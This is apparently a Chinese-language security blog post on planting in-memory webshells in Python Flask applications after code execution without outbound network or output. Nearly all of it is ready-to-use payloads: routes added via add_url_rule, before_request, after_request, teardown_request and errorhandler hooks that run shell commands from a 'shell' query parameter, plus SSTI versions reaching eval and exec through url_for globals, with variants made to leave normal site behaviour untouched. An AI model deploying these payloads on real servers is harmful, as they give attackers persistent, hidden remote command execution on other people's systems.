关于python命令执行不出网无回显的情况下主要分为两种情况,开启debug未开启debug

开启debug

使用exec("raise%20Exception(__import__(%27os%27).popen(%27whoami%27).read())")来进行报错输出命令执行结果

未开启debug

add_url_route

在老版本的flask在进行请求后仍然是可以通过addurlroute来添加路由的,但是新版本对其进行了修改导致其无法注入内存马,但是老版本还是可以使用的

1
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen(request.args.get('shell')).read())

通过`sys.modules[‘main‘].__dict
[‘app’]获取该flask下的app。而后调用add_url_rule。def add_url_rule(self,rule: str,endpoint: str | None = None,view_func: ft.RouteCallable | None = None,provide_automatic_options: bool | None = None,**options: t.Any,)`
我们使用的内存马的三个参数第一个是路由,第二个是端点,第三个就是利用了lambda来定义一个匿名函数。此函数作为该路由的视图函数,这样只要使用eval或exec来执行如上命令,就可以创建一个命令执行的路由。

利用钩子函数

before_request

before_request 这个方法可以让我们在每次请求时执行运行操作。

步入这个函数可以发现如下代码

可以发现其实我们定义的识图函数就是传入的f,那么我们就可以通过app.before_request_funcs.setdefault(None, []).append(lambda a:xxxxx)通过传入匿名函数来进行在每次请求时都执行这个匿名函数,那么这个匿名函数为后门时就会成功在每次请求前都命令执行
payload如下

1
__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(request.args.get('shell')).read())

我们还可以使用if语句来对内存马进行改造让其看的更舒服

但是使用如上payload会导致正常业务逻辑出现问题,
因为这是在请求前就运行了这个函数,导致响应被提前返回这就导致了业务逻辑出现错误。这就需要下面的after_request函数来进行不影响业务逻辑的内存马注入。

after_request

1
__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read()))

after_request和前面一个类似,只是该函数是每个请求后运行一次这个函数,且视图函数的参数就是response对象。那么我们只要奖上面的payload进行改造然其在未输入shell参数时返回我们的response即可让业务逻辑正常进行如下

1
__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())if request.args.get('shell') else resp)

还可以在判断语句中加request.path.startswith(“/shell”)来规定在什么路由下才会返回命令执行的内容如下

1
__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())if request.args.get('shell') and request.path.startswith('/shell') else resp)

teardown_request

teardown_request的底层函数调用和前面的很相似

那么我们只要奖前面的进行更改即可

1
__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda resp:__import__('os').popen(request.args.get('shell')).read())

但是其仍然无回显,即其无法达到我们进行无回显命令执行的效果,其比较大的作用可能就是进行命令执行的bypass

errorhandler

errorhandler在一些用户设定的状态码下运行函数,如404,500

1
2
3
@app.errorhandler(404)
def handle_error(error):
return "aaa"


如上在404是就会触发handle_error函数

步入其函数会发现其底层为self._get_exc_class_and_code(code_or_exception)self.error_handler_spec[None][code][exc_class] = f code_or_exception就是触发的响应状态码,f就是函数。
那么我们就可以写出payload了

1
exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()

上面的代码因为是多行代码所以无法使用eval来运行只能使用exec来运行。

与SSTI中的使用

before_request

在SSTI中我们上述payload中的request等都是不能直接使用都是需要导入的,即如下

1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(request.args.get('shell')).read())",{'request':url_for.__globals__['request']})}}

利用flask的内置函数urlfor来得到eval进而执行命令,而request还需要通过`{‘request’:urlfor.__globals[‘request’]}`来将其定义为flask中的request

after_request

1
{{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp:__import__('flask').make_response(__import__('os').popen(request.args.get('shell')).read())if request.args.get('shell') else resp)",{'request':url_for.__globals__['request']})}}

after_request也相似

teardown_request

1
2
{{url_for.__globals__.__builtins__["exec"]("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda resp:__import__('os').popen(request.args.get('shell')).read())",{'request':url_for.__globals__['request']})}}

errorhandler

这个同样

1
{{url_for.__globals__.__builtins__["exec"]("exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()",{'request':url_for.__globals__['request']})}}

只是需要更改一些命令执行的函数为exec
这个的内存马我还看到了有的师傅使用了global来奖code和exc_class定义为全局变量,但是在实验中发现其实并不需要但是我还是给一下这个payload

1
{{url_for.__globals__.__builtins__["exec"]("global exc_class;global code;exc_class, code = __import__('sys').modules['__main__'].__dict__['app']._get_exc_class_and_code(404);__import__('sys').modules['__main__'].__dict__['app'].error_handler_spec[None][code][exc_class] = lambda err: __import__('os').popen(request.args.get('shell')).read()",{'request':url_for.__globals__['request']})}}

pickle的应用

新版FLASK下python内存马的研究
这给师傅已经奖pickle的方法讲的很清楚了,本人这篇文章也是学自这位师傅